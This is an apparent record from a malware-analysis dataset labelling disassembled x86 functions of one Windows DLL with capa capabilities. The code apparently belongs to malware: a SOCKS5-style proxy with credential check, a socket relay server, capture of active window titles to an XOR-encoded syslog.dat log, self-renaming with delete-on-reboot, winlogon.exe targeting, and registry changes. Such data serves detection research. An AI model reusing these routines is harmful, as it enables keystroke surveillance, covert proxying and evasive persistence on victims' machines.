joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007240
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x10007270
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x1000728a
cmp al, 2
je 0x1000728a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x1001c53c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100072cd
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x10007423
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x5000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10007417
test eax, eax
je 0x10007417
cmp byte [ebp], 1
je 0x1000732d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x10007356
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10007356
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10007385
cmp ecx, 0x100
jg 0x10007385
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x1001c53c
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x100073b2
test cl, cl
je 0x100073ae
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x100073b2
add eax, 2
add esi, 2
test cl, cl
jne 0x1000738e
xor eax, eax
jmp 0x100073b7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100073f9
lea esi, [esp + 0x110]
mov eax, 0x1001c63c
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x100073eb
test cl, cl
je 0x100073e7
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x100073eb
add eax, 2
add esi, 2
test cl, cl
jne 0x100073c7
xor eax, eax
jmp 0x100073f0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100073f9
mov byte [ebp + 1], al
jmp 0x100073fd
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10007423
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x10007440
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x1001c514
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x100074f4
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x100074fc
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x100074ea
test edx, edx
jle 0x100074b4
mov edi, 0x1001a204
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x10007486
add dword [esp + 0x10], 4
jmp 0x1000746a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x10007510
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10007520
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x10007720
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x10007777
call fcn.10007510
add esp, 4
test eax, eax
je 0x100077d2
push esi
call fcn.10007510
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x100077d2
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100077da
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x100077f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.10007240
add esp, 0xc
test eax, eax
je 0x10007897
cmp eax, 4
jne 0x10007838
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.10007530
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10007897
test eax, eax
je 0x10007897
cmp byte [esi], 5
jne 0x10007897
mov cl, byte [esi + 3]
cmp cl, 1
je 0x10007864
cmp cl, 3
jne 0x10007897
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.10007530
add esp, 0x14
test eax, eax
je 0x10007897
mov al, byte [esi + 1]
cmp al, 1
je 0x1000788e
cmp al, 3
jne 0x10007897
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x100078a0
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100078ee
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000790b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.10007440
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x10007c60
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10007d4f
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10007d4f
mov dx, word [0x1001c518]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10007d4f
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10007cfc
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, dword [sym.imp.MSVCRT.dll_malloc]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call ebp
add esp, 4
test eax, eax
je 0x10007d08
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x10007960
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x10007d46
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10007d08
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10007d08
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x10007f00
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x10007f3b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10007f42
sub esi, eax
add edi, eax
test esi, esi
jg 0x10007f16
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret

Function at 0x100088c0
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x18]
push edi
push eax
xor edi, edi
push 0x8004667e
push ebx
mov dword [esp + 0x28], edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test esi, esi
jle 0x10008905
mov ebp, dword [esp + 0x18]
push 0
lea ecx, [edi + ebp]
push esi
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10008905
sub esi, eax
add edi, eax
test esi, esi
jg 0x100088eb
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10008910
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov eax, 0x5104
call fcn.100156c0
mov eax, dword [esp + 0x5108]
push ebx
push ebp
push esi
mov ebp, dword [eax]
mov ebx, dword [eax + 4]
push edi
mov ecx, 0x13ff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 1
xor eax, eax
lea ecx, [esp + 0x14]
cmp dword [ecx], ebx
je 0x1000896a
inc eax
add ecx, 4
cmp eax, 1
jb 0x1000895d
cmp eax, 1
jne 0x1000897b
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], 2
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x10008a20
lea ecx, [esp + 0x10]
push ecx
push ebp
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100089d7
push 0
lea edx, [esp + 0x118]
push 0x5000
push edx
push ebp
call edi
mov esi, eax
test esi, esi
jle 0x10008a20
lea eax, [esp + 0x114]
push esi
push eax
push ebx
call fcn.100088c0
add esp, 0xc
test eax, eax
je 0x10008a20
cmp eax, esi
jne 0x10008a20
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x1000894b
push 0
lea edx, [esp + 0x118]
push 0x5000
push edx
push ebx
call edi
mov esi, eax
test esi, esi
jle 0x10008a20
lea eax, [esp + 0x114]
push esi
push eax
push ebp
call fcn.100088c0
add esp, 0xc
test eax, eax
je 0x10008a20
cmp eax, esi
je 0x1000894b
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push ebp
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x5104
ret 4

Function at 0x10008a40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10008a5e
xor eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov word [esp + 8], 2
mov dword [esp + 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10008a9e
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x10008ad0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
add esp, 0x190
ret
Function at 0x10008ba0
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
mov eax, 0x1038
call fcn.100156c0
push ebx
push ebp
push esi
push edi
mov ecx, 0x40c
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x44], 0xffffffff
mov dword [esp + 0x18], 0x100165c4
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1054]
lea ecx, [esp + 0x1c]
push eax
push 0x1001a7a4
push 0x20
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, dword [esp + 0x1060]
mov ecx, dword [esp + 0x105c]
mov dx, word [esp + 0x1068]
push eax
push ecx
mov word [esp + 0x54], dx
call fcn.10008ab0
mov esi, eax
add esp, 0x18
test esi, esi
jbe 0x10008c8a
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x40], esi
push 0
lea edx, [esp + 0x16]
push 2
push edx
push esi
call edi
test eax, eax
jle 0x10008c8a
mov edx, dword [0x1001c844]
mov eax, dword [esp + 0x44]
inc edx
cmp eax, 0x800
mov dword [0x1001c844], edx
jge 0x10008c5d
mov cx, word [esp + 0x12]
inc eax
mov dword [esp + 0x44], eax
mov word [esp + eax*2 + 0x48], cx
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push 0
push eax
push 0x10008b00
push 0
push 0
call ebx
test eax, eax
je 0x10008c7d
push eax
call ebp
jmp 0x10008c26
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10008c26
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1038
ret

Function at 0x10009420
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
sub esp, 0x30c
lea eax, [esp + 0x208]
push esi
mov esi, ecx
mov ecx, dword [0x1001c958]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [esp + 0x10c]
push str._d.bak
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x108]
lea ecx, [esp + 0x20c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea edx, [esp + 0x10c]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [esp + 4]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 4]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [esi + 0x9e54], 0x120
je 0x100094d2
lea eax, [esi + 0x10]
push eax
push str.winlogon.exe
call fcn.10006ce0
add esp, 8
jmp 0x100094de
lea ecx, [esi + 0x10]
push ecx
call fcn.10005470
add esp, 4
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop esi
add esp, 0x30c
ret
Function at 0x10009660
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x1001c950]
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100096ad
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x100096db
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x100096cf
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10009710
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x910
push ebx
mov ebx, dword [esp + 0x918]
push esi
push edi
test ebx, ebx
je 0x1000985c
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
cmp esi, 1
jb 0x1000985c
cmp esi, 0x80
ja 0x1000985c
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edx, dword [0x1001c950]
cmp eax, dword [edx + 8]
je 0x10009806
mov dword [edx + 8], eax
mov ecx, dword [0x1001c950]
lea eax, [esp + 0x1c]
push pe_nt_image_headers32
mov edx, dword [ecx + 8]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x18]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x16]
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x14]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x1e]
push ecx
mov ecx, dword [esp + 0x1e]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x138]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x140]
push eax
call fcn.10009710
mov edx, dword [0x1001c950]
add esp, 0x28
mov al, byte [edx + 0xc]
test al, al
je 0x1000981c
push ebx
call fcn.10009660
mov edx, dword [0x1001c950]
add esp, 4
mov edi, dword [edx]
mov ecx, esi
add ecx, edi
cmp ecx, 0x400
jbe 0x10009847
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [edx + 0x111]
rep stosd dword es:[edi], eax
mov edx, dword [0x1001c950]
mov dword [edx], eax
mov edx, dword [0x1001c950]
add edx, 0x111
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x1001c950]
add dword [eax], esi
pop edi
pop esi
pop ebx
add esp, 0x910
ret
Function at 0x10009ab0
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x28
lea ecx, [esp + 0x14]
push esi
mov esi, 0x100165d8
lea eax, [esp + 0x18]
push ecx
lea ecx, [esp + 8]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.10009b80
mov dword [esp + 8], eax
lea edx, [esp + 0xc]
neg eax
sbb eax, eax
push str._kaspersky
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x1001c954], eax
jne 0x10009b23
mov eax, dword [esp + 8]
mov dword [esp + 4], esi
jmp 0x10009b43
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x1001c950], eax
mov dword [esp + 4], esi
test eax, eax
mov eax, dword [esp + 8]
jne 0x10009b5e
test eax, eax
je 0x10009b57
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x10009b72
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
add esp, 0x28
ret

Function at 0x10009ec0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10009f62
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x10009f4d
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x10009f3f
push edi
push esi
mov ecx, ebp
call fcn.10009e60
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x1000a570
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10016608
push 0x100156f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x1000a5a7
jmp dword [eax*4 + 0x1000a6f0]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x1000a5a7
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x1000a5a7
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x1000a5a7
cmp edx, 2
jbe 0x1000a630
cmp edx, 4
jne case.default.0x1000a5a7
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x1000a5a7
jmp 0x1000a6b4
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x1000a5a7
jmp 0x1000a6b4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x1000a5a7
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x1000a5a7
jmp 0x1000a6b4
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x1000a5a7
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x1000a5a7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.1000a6db
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret